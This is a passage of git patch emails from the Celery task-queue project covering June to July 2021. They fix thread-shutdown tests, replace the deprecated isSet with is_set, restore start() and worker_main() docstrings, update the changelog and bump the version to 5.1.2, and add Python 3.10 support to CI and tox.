b/t/unit/utils/test_timer2.py @@ -44,14 +44,15 @@ def test_ensure_started_not_started(self): t.start.assert_called_with() @patch('celery.utils.timer2.sleep') - def test_on_tick(self, sleep): + @patch('os._exit') # To ensure the test fails gracefully + def test_on_tick(self, _exit, sleep): def next_entry_side_effect(): # side effect simulating following scenario: # 3.33, 3.33, 3.33, for _ in range(3): yield 3.33 while True: - yield t._is_shutdown.set() + yield getattr(t, "_Timer__is_shutdown").set() on_tick = Mock(name='on_tick') t = timer2.Timer(on_tick=on_tick) @@ -61,6 +62,7 @@ def next_entry_side_effect(): t.run() sleep.assert_called_with(3.33) on_tick.assert_has_calls([call(3.33), call(3.33), call(3.33)]) + _exit.assert_not_called() @patch('os._exit') def test_thread_crash(self, _exit): @@ -72,12 +74,16 @@ def test_thread_crash(self, _exit): def test_gc_race_lost(self): t = timer2.Timer() - t._is_stopped.set = Mock() - t._is_stopped.set.side_effect = TypeError() - - t._is_shutdown.set() - t.run() - t._is_stopped.set.assert_called_with() + with patch.object(t, "_Timer__is_stopped") as mock_stop_event: + # Mark the timer as shutting down so we escape the run loop, + # mocking the running state so we don't block! + with patch.object(t, "running", new=False): + t.stop() + # Pretend like the interpreter has shutdown and GCed built-in + # modules, causing an exception + mock_stop_event.set.side_effect = TypeError() + t.run() + mock_stop_event.set.assert_called_with() def test_test_enter(self): t = timer2.Timer() diff --git a/t/unit/worker/test_autoscale.py b/t/unit/worker/test_autoscale.py index 44742abf1ba..061a754766a 100644 --- a/t/unit/worker/test_autoscale.py +++ b/t/unit/worker/test_autoscale.py @@ -90,12 +90,14 @@ def join(self, timeout=None): worker = Mock(name='worker') x = Scaler(self.pool, 10, 3, worker=worker) - x._is_stopped.set() - x.stop() + # Don't allow thread joining or event waiting to block the test + with patch("threading.Thread.join"), patch("threading.Event.wait"): + x.stop() assert x.joined x.joined = False x.alive = False - x.stop() + with patch("threading.Thread.join"), patch("threading.Event.wait"): + x.stop() assert not x.joined @mock.sleepdeprived(module=autoscale) @@ -123,13 +125,13 @@ class Scaler(autoscale.Autoscaler): def body(self): self.scale_called = True - self._is_shutdown.set() + getattr(self, "_bgThread__is_shutdown").set() worker = Mock(name='worker') x = Scaler(self.pool, 10, 3, worker=worker) x.run() - assert x._is_shutdown.isSet() - assert x._is_stopped.isSet() + assert getattr(x, "_bgThread__is_shutdown").isSet() + assert getattr(x, "_bgThread__is_stopped").isSet() assert x.scale_called def test_shrink_raises_exception(self): @@ -200,7 +202,7 @@ def test_thread_crash(self, _exit): class _Autoscaler(autoscale.Autoscaler): def body(self): - self._is_shutdown.set() + getattr(self, "_bgThread__is_shutdown").set() raise OSError('foo') worker = Mock(name='worker') x = _Autoscaler(self.pool, 10, 3, worker=worker) diff --git a/tox.ini b/tox.ini index f62ea3cdff1..51cf5d0209d 100644 --- a/tox.ini +++ b/tox.ini @@ -31,7 +31,7 @@ deps= 3.6,3.7,3.8,3.9: -r{toxinidir}/requirements/test-ci-default.txt 3.5,3.6,3.7,3.8,3.9: -r{toxinidir}/requirements/docs.txt 3.6,3.7,3.8,3.9: -r{toxinidir}/requirements/docs.txt - pypy3: -r{toxinidir}/requirements/test-ci-base.txt + pypy3: -r{toxinidir}/requirements/test-ci-default.txt integration: -r{toxinidir}/requirements/test-integration.txt From 6c6beba544a533f6f5769cb16abcceb50f15d8cb Mon Sep 17 00:00:00 2001 From: Omer Katz Date: Mon, 28 Jun 2021 04:43:09 +0300 Subject: [PATCH 259/415] Avoid using the isSet deprecated alias. (#6824) --- celery/utils/timer2.py | 2 +- t/unit/app/test_beat.py | 10 +++++----- t/unit/worker/test_autoscale.py | 4 ++-- 3 files changed, 8 insertions(+), 8 deletions(-) diff --git a/celery/utils/timer2.py b/celery/utils/timer2.py index 06b4bb24c9c..82337257e4b 100644 --- a/celery/utils/timer2.py +++ b/celery/utils/timer2.py @@ -75,7 +75,7 @@ def run(self): self.running = True self.scheduler = iter(self.schedule) - while not self.__is_shutdown.isSet(): + while not self.__is_shutdown.is_set(): delay = self._next_entry() if delay: if self.on_tick: diff --git a/t/unit/app/test_beat.py b/t/unit/app/test_beat.py index 739a45e5e24..2434f6effb2 100644 --- a/t/unit/app/test_beat.py +++ b/t/unit/app/test_beat.py @@ -739,12 +739,12 @@ def test_start(self): s.sync() assert sh.closed assert sh.synced - assert s._is_stopped.isSet() + assert s._is_stopped.is_set() s.sync() s.stop(wait=False) - assert s._is_shutdown.isSet() + assert s._is_shutdown.is_set() s.stop(wait=True) - assert s._is_shutdown.isSet() + assert s._is_shutdown.is_set() p = s.scheduler._store s.scheduler._store = None @@ -767,13 +767,13 @@ def test_start_tick_raises_exit_error(self): s, sh = self.get_service() s.scheduler.tick_raises_exit = True s.start() - assert s._is_shutdown.isSet() + assert s._is_shutdown.is_set() def test_start_manages_one_tick_before_shutdown(self): s, sh = self.get_service() s.scheduler.shutdown_service = s s.start() - assert s._is_shutdown.isSet() + assert s._is_shutdown.is_set() class test_EmbeddedService: diff --git a/t/unit/worker/test_autoscale.py b/t/unit/worker/test_autoscale.py index 061a754766a..7cfea789d4b 100644 --- a/t/unit/worker/test_autoscale.py +++ b/t/unit/worker/test_autoscale.py @@ -130,8 +130,8 @@ def body(self): worker = Mock(name='worker') x = Scaler(self.pool, 10, 3, worker=worker) x.run() - assert getattr(x, "_bgThread__is_shutdown").isSet() - assert getattr(x, "_bgThread__is_stopped").isSet() + assert getattr(x, "_bgThread__is_shutdown").is_set() + assert getattr(x, "_bgThread__is_stopped").is_set() assert x.scale_called def test_shrink_raises_exception(self): From 030e71b2624ad6f8d5458b3820efe3ef815318c6 Mon Sep 17 00:00:00 2001 From: maybe-sybr <58414429+maybe-sybr@users.noreply.github.com> Date: Mon, 28 Jun 2021 11:53:24 +1000 Subject: [PATCH 260/415] style: Fix flake8 lint in tests --- t/unit/backends/test_base.py | 2 +- t/unit/tasks/test_tasks.py | 16 ++++++++-------- t/unit/utils/test_functional.py | 2 +- 3 files changed, 10 insertions(+), 10 deletions(-) diff --git a/t/unit/backends/test_base.py b/t/unit/backends/test_base.py index 0943c313456..54f737078d4 100644 --- a/t/unit/backends/test_base.py +++ b/t/unit/backends/test_base.py @@ -543,7 +543,7 @@ class ExpectedException(Exception): callback.keys.return_value = [] task = self.app.tasks[callback.task] = Mock() b.fail_from_current_stack = Mock() - group = self.patching('celery.group') + self.patching('celery.group') with patch.object( b, "_call_task_errbacks", side_effect=ExpectedException() ) as mock_call_errbacks: diff --git a/t/unit/tasks/test_tasks.py b/t/unit/tasks/test_tasks.py index fddeae429bf..25229e7ba90 100644 --- a/t/unit/tasks/test_tasks.py +++ b/t/unit/tasks/test_tasks.py @@ -1,7 +1,7 @@ import socket import tempfile from datetime import datetime, timedelta -from unittest.mock import ANY, MagicMock, Mock, call, patch, sentinel +from unittest.mock import ANY, MagicMock, Mock, patch, sentinel import pytest from case import ContextMock @@ -572,7 +572,7 @@ def test_autoretry_backoff(self, randrange): assert task.iterations == 4 retry_call_countdowns = [ - call[1]['countdown'] for call in fake_retry.call_args_list + call_[1]['countdown'] for call_ in fake_retry.call_args_list ] assert retry_call_countdowns == [1, 2, 4, 8] @@ -587,7 +587,7 @@ def test_autoretry_backoff_jitter(self, randrange): assert task.iterations == 4 retry_call_countdowns = [ - call[1]['countdown'] for call in fake_retry.call_args_list + call_[1]['countdown'] for call_ in fake_retry.call_args_list ] assert retry_call_countdowns == [0, 1, 3, 7] @@ -619,7 +619,7 @@ def test_retry_backoff_from_base(self): assert task.iterations == 6 retry_call_countdowns = [ - call[1]['countdown'] for call in fake_retry.call_args_list + call_[1]['countdown'] for call_ in fake_retry.call_args_list ] assert retry_call_countdowns == [1, 2, 4, 8, 16, 32] @@ -638,7 +638,7 @@ def test_retry_backoff_max_from_base(self): assert task.iterations == 6 retry_call_countdowns = [ - call[1]['countdown'] for call in fake_retry.call_args_list + call_[1]['countdown'] for call_ in fake_retry.call_args_list ] assert retry_call_countdowns == [1, 2, 4, 8, 16, 32] @@ -650,7 +650,7 @@ def test_override_retry_backoff_max_from_base(self): assert task.iterations == 6 retry_call_countdowns = [ - call[1]['countdown'] for call in fake_retry.call_args_list + call_[1]['countdown'] for call_ in fake_retry.call_args_list ] assert retry_call_countdowns == [1, 2, 4, 8, 16, 16] @@ -662,7 +662,7 @@ def test_retry_backoff_jitter_from_base(self): assert task.iterations == 6 retry_call_countdowns = [ - call[1]['countdown'] for call in fake_retry.call_args_list + call_[1]['countdown'] for call_ in fake_retry.call_args_list ] assert retry_call_countdowns == [1, 2, 4, 8, 16, 32] @@ -675,7 +675,7 @@ def test_override_backoff_jitter_from_base(self, randrange): assert task.iterations == 6 retry_call_countdowns = [ - call[1]['countdown'] for call in fake_retry.call_args_list + call_[1]['countdown'] for call_ in fake_retry.call_args_list ] assert retry_call_countdowns == [0, 1, 3, 7, 15, 31] diff --git a/t/unit/utils/test_functional.py b/t/unit/utils/test_functional.py index fe12f426462..8312b8fd7ca 100644 --- a/t/unit/utils/test_functional.py +++ b/t/unit/utils/test_functional.py @@ -1,7 +1,7 @@ import collections import pytest -import pytest_subtests +import pytest_subtests # noqa: F401 from kombu.utils.functional import lazy from celery.utils.functional import (DummyContext, first, firstmethod, From 7f1d162c6088d2e7a65e0bf0b299701cf5d5131c Mon Sep 17 00:00:00 2001 From: maybe-sybr <58414429+maybe-sybr@users.noreply.github.com> Date: Mon, 28 Jun 2021 11:53:58 +1000 Subject: [PATCH 261/415] test: Fix double-star unpacking of Mock in pypy3 Mock's aren't mapping-like enough for this to work in pypy3, but MagicMocks are. --- t/unit/backends/test_base.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/t/unit/backends/test_base.py b/t/unit/backends/test_base.py index 54f737078d4..5d98877637d 100644 --- a/t/unit/backends/test_base.py +++ b/t/unit/backends/test_base.py @@ -1,5 +1,5 @@ from contextlib import contextmanager -from unittest.mock import ANY, Mock, call, patch, sentinel +from unittest.mock import ANY, MagicMock, Mock, call, patch, sentinel import pytest from kombu.serialization import prepare_accept_content @@ -538,7 +538,7 @@ class ExpectedException(Exception): pass b = BaseBackend(app=self.app) - callback = Mock(name='callback') + callback = MagicMock(name='callback') callback.options = {'link_error': []} callback.keys.return_value = [] task = self.app.tasks[callback.task] = Mock() From 494cc5d67452038c9b477d41cb2760b33ab4d5b8 Mon Sep 17 00:00:00 2001 From: Alejandro Solda <43531535+alesolda@users.noreply.github.com> Date: Sun, 27 Jun 2021 19:50:20 -0300 Subject: [PATCH 262/415] Reintroduce docstrings in programmatic start * reintroduce sys.argv default behaviour for "start" (as was commented for "worker_main" in https://github.com/celery/celery/pull/6481#discussion_r524048986 * reintroduce docstrings for "start" and "worker_main" methods * reintroduce and adapt tests for "start" and "worker_main" Programmatic start (code and unittests) was removed due to 01651d2f5d9ad20dfb9812d92831510147974b23 and reintroduced in #6481. Resolves: #6730 Relates: #6481 #6404 --- celery/app/base.py | 11 +++++++++++ t/unit/app/test_app.py | 25 +++++++++++-------------- 2 files changed, 22 insertions(+), 14 deletions(-) diff --git a/celery/app/base.py b/celery/app/base.py index 6b2745473dc..47570763075 100644 --- a/celery/app/base.py +++ b/celery/app/base.py @@ -356,10 +356,17 @@ def close(self): _deregister_app(self) def start(self, argv=None): + """Run :program:`celery` using `argv`. + + Uses :data:`sys.argv` if `argv` is not specified. + """ from celery.bin.celery import celery celery.params[0].default = self + if argv is None: + argv = sys.argv + try: celery.main(args=argv, standalone_mode=False) except Exit as e: @@ -368,6 +375,10 @@ def start(self, argv=None): celery.params[0].default = None def worker_main(self, argv=None): + """Run :program:`celery worker` using `argv`. + + Uses :data:`sys.argv` if `argv` is not specified. + """ if argv is None: argv = sys.argv diff --git a/t/unit/app/test_app.py b/t/unit/app/test_app.py index 0cfadb1800e..33b34c00dae 100644 --- a/t/unit/app/test_app.py +++ b/t/unit/app/test_app.py @@ -579,20 +579,12 @@ def test_pickle_app(self): for key, value in changes.items(): assert restored.conf[key] == value - # def test_worker_main(self): - # from celery.bin import worker as worker_bin - # - # class worker(worker_bin.worker): - # - # def execute_from_commandline(self, argv): - # return argv - # - # prev, worker_bin.worker = worker_bin.worker, worker - # try: - # ret = self.app.worker_main(argv=['--version']) - # assert ret == ['--version'] - # finally: - # worker_bin.worker = prev + @patch('celery.bin.celery.celery') + def test_worker_main(self, mocked_celery): + self.app.worker_main(argv=['worker', '--help']) + + mocked_celery.main.assert_called_with( + args=['worker', '--help'], standalone_mode=False) def test_config_from_envvar(self): os.environ['CELERYTEST_CONFIG_OBJECT'] = 't.unit.app.test_app' @@ -775,6 +767,11 @@ def test_config_from_envvar_more(self, key='CELERY_HARNESS_CFG1'): assert self.app.conf['FOO'] == 10 assert self.app.conf['BAR'] == 20 + @patch('celery.bin.celery.celery') + def test_start(self, mocked_celery): + self.app.start() + mocked_celery.main.assert_called() + @pytest.mark.parametrize('url,expected_fields', [ ('pyamqp://', { 'hostname': 'localhost', From f5fb136010d5c3e4e24d947695ddcf10a87448ca Mon Sep 17 00:00:00 2001 From: Omer Katz Date: Mon, 28 Jun 2021 14:08:18 +0300 Subject: [PATCH 263/415] Fix changelog formatting. --- Changelog.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Changelog.rst b/Changelog.rst index d9e7f74fde1..1b3de1f1fa2 100644 --- a/Changelog.rst +++ b/Changelog.rst @@ -65,7 +65,7 @@ an overview of what's new in Celery 5.1. - Chord counting of group children is now accurate. (#6733) - Add a setting :setting:`worker_cancel_long_running_tasks_on_connection_loss` to terminate tasks with late acknowledgement on connection loss. (#6654) -- The ``task-revoked`` event and the ``task_revoked` signal are not duplicated +- The ``task-revoked`` event and the ``task_revoked`` signal are not duplicated when ``Request.on_failure`` is called. (#6654) - Restore pickling support for ``Retry``. (#6748) - Add support in the redis result backend for authenticating with a username. (#6750) From 6806fc33c7449b8c917ffb6ce88bb3b0fc520886 Mon Sep 17 00:00:00 2001 From: Omer Katz Date: Mon, 28 Jun 2021 14:20:15 +0300 Subject: [PATCH 264/415] Update 5.0.x changelog. --- docs/history/changelog-5.0.rst | 17 +++++++++++++++++ 1 file changed, 17 insertions(+) diff --git a/docs/history/changelog-5.0.rst b/docs/history/changelog-5.0.rst index 79aa5070c55..78832a373dc 100644 --- a/docs/history/changelog-5.0.rst +++ b/docs/history/changelog-5.0.rst @@ -6,6 +6,23 @@ This document contains change notes for bugfix & new features in the 5.0.x , please see :ref:`whatsnew-5.0` for an overview of what's new in Celery 5.0. +.. _version-5.0.6: + +5.0.6 +===== +:release-date: 2021-06-28 3.00 P.M UTC+3:00 +:release-by: Omer Katz + +- Inspect commands accept arguments again (#6710). +- The :setting:`worker_pool` setting is now respected correctly (#6711). +- Ensure AMQPContext exposes an app attribute (#6741). +- Exit celery with non zero exit value if failing (#6602). +- --quiet flag now actually makes celery avoid producing logs (#6599). +- pass_context for handle_preload_options decorator (#6583). +- Fix --pool=threads support in command line options parsing (#6787). +Fix the behavior of our json serialization which regressed in 5.0 (#6561). +- celery -A app events -c camera now works as expected (#6774). + .. _version-5.0.5: 5.0.5 From 69093e535b9f05b34af7b88eec3ce238ad202ed2 Mon Sep 17 00:00:00 2001 From: Omer Katz Date: Mon, 28 Jun 2021 14:31:41 +0300 Subject: [PATCH 265/415] Fix warning in ``test_get_sync_subtask_option``. (#6827) --- t/unit/tasks/test_result.py | 3 +++ 1 file changed, 3 insertions(+) diff --git a/t/unit/tasks/test_result.py b/t/unit/tasks/test_result.py index d16dc9eae26..4e0975bbc75 100644 --- a/t/unit/tasks/test_result.py +++ b/t/unit/tasks/test_result.py @@ -59,6 +59,9 @@ def add_pending_result(self, *args, **kwargs): def wait_for_pending(self, *args, **kwargs): return True + def remove_pending_result(self, *args, **kwargs): + return True + class test_AsyncResult: From bf53d1038677b5095382de588f387cb89cb9f4b1 Mon Sep 17 00:00:00 2001 From: Omer Katz Date: Mon, 28 Jun 2021 15:52:12 +0300 Subject: [PATCH 266/415] Add missing release date for 5.1.1. --- Changelog.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Changelog.rst b/Changelog.rst index 1b3de1f1fa2..e1a13d7b009 100644 --- a/Changelog.rst +++ b/Changelog.rst @@ -13,7 +13,7 @@ an overview of what's new in Celery 5.1. 5.1.1 ===== -:release-date: TBD +:release-date: 2021-06-17 16.10 P.M UTC+3:00 :release-by: Omer Katz - Fix ``--pool=threads`` support in command line options parsing. (#6787) From 22073e66e66ac7f4490d3ec7ca55e5919b5bcc79 Mon Sep 17 00:00:00 2001 From: Omer Katz Date: Mon, 28 Jun 2021 16:06:14 +0300 Subject: [PATCH 267/415] isort. --- t/unit/tasks/test_trace.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/t/unit/tasks/test_trace.py b/t/unit/tasks/test_trace.py index d5cb86ec455..f796a12aa95 100644 --- a/t/unit/tasks/test_trace.py +++ b/t/unit/tasks/test_trace.py @@ -7,8 +7,8 @@ from celery import group, signals, states, uuid from celery.app.task import Context -from celery.app.trace import (TraceInfo, build_tracer, - fast_trace_task, get_log_policy, get_task_name, +from celery.app.trace import (TraceInfo, build_tracer, fast_trace_task, + get_log_policy, get_task_name, log_policy_expected, log_policy_ignore, log_policy_internal, log_policy_reject, log_policy_unexpected, From 01a9e617d1e14b32c42e36d60053e5c2479911fb Mon Sep 17 00:00:00 2001 From: Omer Katz Date: Mon, 28 Jun 2021 16:13:39 +0300 Subject: [PATCH 268/415] Update changelog. --- Changelog.rst | 17 ++++++++++++++++- 1 file changed, 16 insertions(+), 1 deletion(-) diff --git a/Changelog.rst b/Changelog.rst index e1a13d7b009..5b724b1536d 100644 --- a/Changelog.rst +++ b/Changelog.rst @@ -8,11 +8,26 @@ This document contains change notes for bugfix & new features in the & 5.1.x series, please see :ref:`whatsnew-5.1` for an overview of what's new in Celery 5.1. +.. version-5.1.2: + +5.1.2 +===== +:release-date: 2021-06-28 16.15 P.M UTC+3:00 +:release-by: Omer Katz + +- When chords fail, correctly call errbacks. (#6814) + + We had a special case for calling errbacks when a chord failed which + assumed they were old style. This change ensures that we call the proper + errback dispatch method which understands new and old style errbacks, + and adds test to confirm that things behave as one might expect now. +- Avoid using the ``Event.isSet()`` deprecated alias. (#6824) +- Reintroduce sys.argv default behaviour for ``Celery.start()``. (#6825) + .. version-5.1.1: 5.1.1 ===== - :release-date: 2021-06-17 16.10 P.M UTC+3:00 :release-by: Omer Katz From 552e067b40198429cd7c866a397069366ac8e530 Mon Sep 17 00:00:00 2001 From: Omer Katz Date: Mon, 28 Jun 2021 16:13:47 +0300 Subject: [PATCH 269/415] =?UTF-8?q?Bump=20version:=205.1.1=20=E2=86=92=205?= =?UTF-8?q?.1.2?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .bumpversion.cfg | 2 +- README.rst | 6 +++--- celery/__init__.py | 2 +- docs/includes/introduction.txt | 2 +- 4 files changed, 6 insertions(+), 6 deletions(-) diff --git a/.bumpversion.cfg b/.bumpversion.cfg index 74146e3d8ca..2f0f5ef58af 100644 --- a/.bumpversion.cfg +++ b/.bumpversion.cfg @@ -1,5 +1,5 @@ [bumpversion] -current_version = 5.1.1 +current_version = 5.1.2 commit = True tag = True parse = (?P\d+)\.(?P\d+)\.(?P\d+)(?P[a-z\d]+)? diff --git a/README.rst b/README.rst index 637afa93e58..ee7c1f84306 100644 --- a/README.rst +++ b/README.rst @@ -2,7 +2,7 @@ |build-status| |coverage| |license| |wheel| |pyversion| |pyimp| |ocbackerbadge| |ocsponsorbadge| -:Version: 5.1.1 (sun-harmonics) +:Version: 5.1.2 (sun-harmonics) :Web: https://docs.celeryproject.org/en/stable/index.html :Download: https://pypi.org/project/celery/ :Source: https://github.com/celery/celery/ @@ -57,7 +57,7 @@ in such a way that the client enqueues an URL to be requested by a worker. What do I need? =============== -Celery version 5.1.1 runs on, +Celery version 5.1.2 runs on, - Python (3.6, 3.7, 3.8, 3.9) - PyPy3.6 (7.6) @@ -89,7 +89,7 @@ Get Started =========== If this is the first time you're trying to use Celery, or you're -new to Celery 5.0.5 or 5.1.1 coming from previous versions then you should read our +new to Celery 5.0.5 or 5.1.2 coming from previous versions then you should read our getting started tutorials: - `First steps with Celery`_ diff --git a/celery/__init__.py b/celery/__init__.py index fdb5e48f961..ae287ea2530 100644 --- a/celery/__init__.py +++ b/celery/__init__.py @@ -17,7 +17,7 @@ SERIES = 'sun-harmonics' -__version__ = '5.1.1' +__version__ = '5.1.2' __author__ = 'Ask Solem' __contact__ = 'auvipy@gmail.com' __homepage__ = 'http://celeryproject.org' diff --git a/docs/includes/introduction.txt b/docs/includes/introduction.txt index 81c584ffc16..56eba4c83d6 100644 --- a/docs/includes/introduction.txt +++ b/docs/includes/introduction.txt @@ -1,4 +1,4 @@ -:Version: 5.1.1 (cliffs) +:Version: 5.1.2 (cliffs) :Web: http://celeryproject.org/ :Download: https://pypi.org/project/celery/ :Source: https://github.com/celery/celery/ From 82fe649d8aed5145c5f05d3aabb88ea9721143d4 Mon Sep 17 00:00:00 2001 From: Omer Katz Date: Wed, 30 Jun 2021 02:29:09 +0300 Subject: [PATCH 270/415] Add Python 3.10 support (#6807) * Add Python 3.10 support. * Use the dev release for now. * Include deps for 3.10. * Bump moto to support Python 3.10. * Currently, eventlet is not supported by 3.10. * Skip if eventlet not found. * Test 3.10 using tox. * Try tox-gh-actions. * Map python versions to tox environments. * Allow the 3.10 job to fail for now. --- .github/workflows/python-package.yml | 8 ++++---- requirements/extras/eventlet.txt | 2 +- requirements/test.txt | 2 +- t/unit/backends/test_asynchronous.py | 1 + tox.ini | 23 +++++++++++++---------- 5 files changed, 20 insertions(+), 16 deletions(-) diff --git a/.github/workflows/python-package.yml b/.github/workflows/python-package.yml index 673e1f04ac8..3f74d81eda7 100644 --- a/.github/workflows/python-package.yml +++ b/.github/workflows/python-package.yml @@ -24,7 +24,8 @@ jobs: strategy: fail-fast: false matrix: - python-version: ['3.6', '3.7', '3.8', '3.9', 'pypy3'] + python-version: ['3.6', '3.7', '3.8', '3.9', '3.10.0-beta.3', 'pypy3'] + continue-on-error: ${{ matrix.python-version == '3.10.0-beta.3' }} steps: - name: Install apt packages @@ -50,14 +51,13 @@ jobs: ${{ matrix.python-version }}-v1- - name: Install tox - run: python -m pip install tox + run: python -m pip install tox tox-gh-actions - name: > Run tox for "${{ matrix.python-version }}-unit" timeout-minutes: 15 run: > - tox --verbose --verbose -e - "${{ matrix.python-version }}-unit" + tox --verbose --verbose - uses: codecov/codecov-action@v1 with: diff --git a/requirements/extras/eventlet.txt b/requirements/extras/eventlet.txt index e375a087b83..a25cb65d4f0 100644 --- a/requirements/extras/eventlet.txt +++ b/requirements/extras/eventlet.txt @@ -1 +1 @@ -eventlet>=0.26.1 +eventlet>=0.26.1; python_version<"3.10" diff --git a/requirements/test.txt b/requirements/test.txt index 2f08e36f734..0325981f8e8 100644 --- a/requirements/test.txt +++ b/requirements/test.txt @@ -4,7 +4,7 @@ pytest-celery pytest-subtests pytest-timeout~=1.4.2 boto3>=1.9.178 -moto==1.3.7 +moto==2.0.10 pre-commit -r extras/yaml.txt -r extras/msgpack.txt diff --git a/t/unit/backends/test_asynchronous.py b/t/unit/backends/test_asynchronous.py index 75ba90baa97..df25a683bc3 100644 --- a/t/unit/backends/test_asynchronous.py +++ b/t/unit/backends/test_asynchronous.py @@ -12,6 +12,7 @@ from celery.utils import cached_property pytest.importorskip('gevent') +pytest.importorskip('eventlet') @pytest.fixture(autouse=True) diff --git a/tox.ini b/tox.ini index 51cf5d0209d..6c74e65576b 100644 --- a/tox.ini +++ b/tox.ini @@ -1,7 +1,9 @@ [tox] +requires = + tox-gh-actions envlist = - {3.6,3.7,3.8,3.9,pypy3}-unit - {3.6,3.7,3.8,3.9,pypy3}-integration-{rabbitmq,redis,dynamodb,azureblockblob,cache,cassandra,elasticsearch} + {3.6,3.7,3.8,3.9,3.10,pypy3}-unit + {3.6,3.7,3.8,3.9,3.10,pypy3}-integration-{rabbitmq,redis,dynamodb,azureblockblob,cache,cassandra,elasticsearch} flake8 apicheck @@ -11,11 +13,12 @@ envlist = [gh-actions] python = - 3.6: 3.6 - 3.7: 3.7 - 3.8: 3.8 - 3.9: 3.9 - pypy3: pypy3 + 3.6: 3.6-unit + 3.7: 3.7-unit + 3.8: 3.8-unit + 3.9: 3.9-unit + 3.10: 3.10-unit + pypy3: pypy3-unit [testenv] sitepackages = False @@ -28,9 +31,8 @@ deps= -r{toxinidir}/requirements/test.txt -r{toxinidir}/requirements/pkgutils.txt - 3.6,3.7,3.8,3.9: -r{toxinidir}/requirements/test-ci-default.txt - 3.5,3.6,3.7,3.8,3.9: -r{toxinidir}/requirements/docs.txt - 3.6,3.7,3.8,3.9: -r{toxinidir}/requirements/docs.txt + 3.6,3.7,3.8,3.9,3.10: -r{toxinidir}/requirements/test-ci-default.txt + 3.6,3.7,3.8,3.9,3.10: -r{toxinidir}/requirements/docs.txt pypy3: -r{toxinidir}/requirements/test-ci-default.txt integration: -r{toxinidir}/requirements/test-integration.txt @@ -75,6 +77,7 @@ basepython = 3.7: python3.7 3.8: python3.8 3.9: python3.9 + 3.10: python3.10 pypy3: pypy3 flake8,apicheck,linkcheck,configcheck,bandit: python3.9 usedevelop = True From c33e9b2a6905a239c45e6f50437394db69fa41db Mon Sep 17 00:00:00 2001 From: "Steinar V. Kaldager" Date: Wed, 30 Jun 2021 19:21:06 +0200 Subject: [PATCH 271/415] Fix docstring for Signal.send to match code --- celery/utils/dispatch/signal.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/celery/utils/dispatch/signal.py b/celery/utils/dispatch/signal.py index b12759c4f37..0cfa6127ed0 100644 --- a/celery/utils/dispatch/signal.py +++ b/celery/utils/dispatch/signal.py @@ -254,9 +254,9 @@ def has_listeners(self, sender=None): def send(self, sender, **named): """Send signal from sender to all connected receivers. - If any receiver raises an error, the error propagates back through - send, terminating the dispatch loop, so it is quite possible to not - have all receivers called if a raises an error. + If any receiver raises an error, the exception is returned as the + corresponding response. (This is different from the "send" in + Django signals. In Celery "send" and "send_robust" do the same thing.) Arguments: sender (Any): The sender of the signal. From 3ec65fd7601567b22e1614a750738e6e5c9002dc Mon Sep 17 00:00:00 2001 From: Jonas Kittner Date: Fri, 2 Jul 2021 18:30:06 +0200 Subject: [PATCH 272/415] fix: no blank line in log output --- celery/utils/log.py | 1 + t/unit/app/test_log.py | 4 +++- 2 files changed, 4 insertions(+), 1 deletion(-) diff --git a/celery/utils/log.py b/celery/utils/log.py index 58f194755a2..8ca34e7c5ae 100644 --- a/celery/utils/log.py +++ b/celery/utils/log.py @@ -223,6 +223,7 @@ def write(self, data): if getattr(self._thread, 'recurse_protection', False): # Logger is logging back to this file, so stop recursing. return 0 + data = data.rstrip('\n') if data and not self.closed: self._thread.recurse_protection = True try: diff --git a/t/unit/app/test_log.py b/t/unit/app/test_log.py index 971692497c4..cbe191f41d6 100644 --- a/t/unit/app/test_log.py +++ b/t/unit/app/test_log.py @@ -268,8 +268,10 @@ def test_logging_proxy(self): p.write('foo') assert 'foo' not in sio.getvalue() p.closed = False + p.write('\n') + assert sio.getvalue() == '' write_res = p.write('foo ') - assert 'foo ' in sio.getvalue() + assert sio.getvalue() == 'foo \n' assert write_res == 4 lines = ['baz', 'xuzzy'] p.writelines(lines) From 3973e30da819dbe878d9b9a4ab51765a9075f6d6 Mon Sep 17 00:00:00 2001 From: Nahin Khan Date: Mon, 5 Jul 2021 22:34:10 +0300 Subject: [PATCH 273/415] Fix typo --- docs/getting-started/first-steps-with-celery.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docs/getting-started/first-steps-with-celery.rst b/docs/getting-started/first-steps-with-celery.rst index 13bdc8cc429..799db7200d7 100644 --- a/docs/getting-started/first-steps-with-celery.rst +++ b/docs/getting-started/first-steps-with-celery.rst @@ -141,7 +141,7 @@ This is only needed so that names can be automatically generated when the tasks defined in the `__main__` module. The second argument is the broker keyword argument, specifying the URL of the -message broker you want to use. Here using RabbitMQ (also the default option). +message broker you want to use. Here we are using RabbitMQ (also the default option). See :ref:`celerytut-broker` above for more choices -- for RabbitMQ you can use ``amqp://localhost``, or for Redis you can From e972affc0ac14a92492fea59354d4be5f8260e92 Mon Sep 17 00:00:00 2001 From: Issa Jubril Date: Tue, 6 Jul 2021 17:43:11 +0100 Subject: [PATCH 274/415] Update copyright (#6842) --- docs/conf.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docs/conf.py b/docs/conf.py index 6cc0f92fe64..d5c4c9276fa 100644 --- a/docs/conf.py +++ b/docs/conf.py @@ -10,7 +10,7 @@ github_project='celery/celery', author='Ask Solem & contributors', author_name='Ask Solem', - copyright='2009-2018', + copyright='2009-2021', publisher='Celery Project', html_logo='images/celery_512.png', html_favicon='images/favicon.ico', From e885a47b0c73aef0112bf989a2642c125889a2ca Mon Sep 17 00:00:00 2001 From: Dave Gaeddert Date: Wed, 7 Jul 2021 13:04:24 -0500 Subject: [PATCH 275/415] Use the dropseed/changerelease action to sync changelog to GitHub Releases (#6843) * Create changerelease.yml * Update changerelease.yml * Update changerelease.yml * Update changerelease.yml * Update changerelease.yml * Update changerelease.yml * Update changerelease.yml * Update changerelease.yml * Update changerelease.yml * Update changerelease.yml * Update changerelease.yml * Update changerelease.yml * Add workflow permissions --- .github/workflows/changerelease.yml | 32 +++++++++++++++++++++++++++++ 1 file changed, 32 insertions(+) create mode 100644 .github/workflows/changerelease.yml diff --git a/.github/workflows/changerelease.yml b/.github/workflows/changerelease.yml new file mode 100644 index 00000000000..efbf5a52fef --- /dev/null 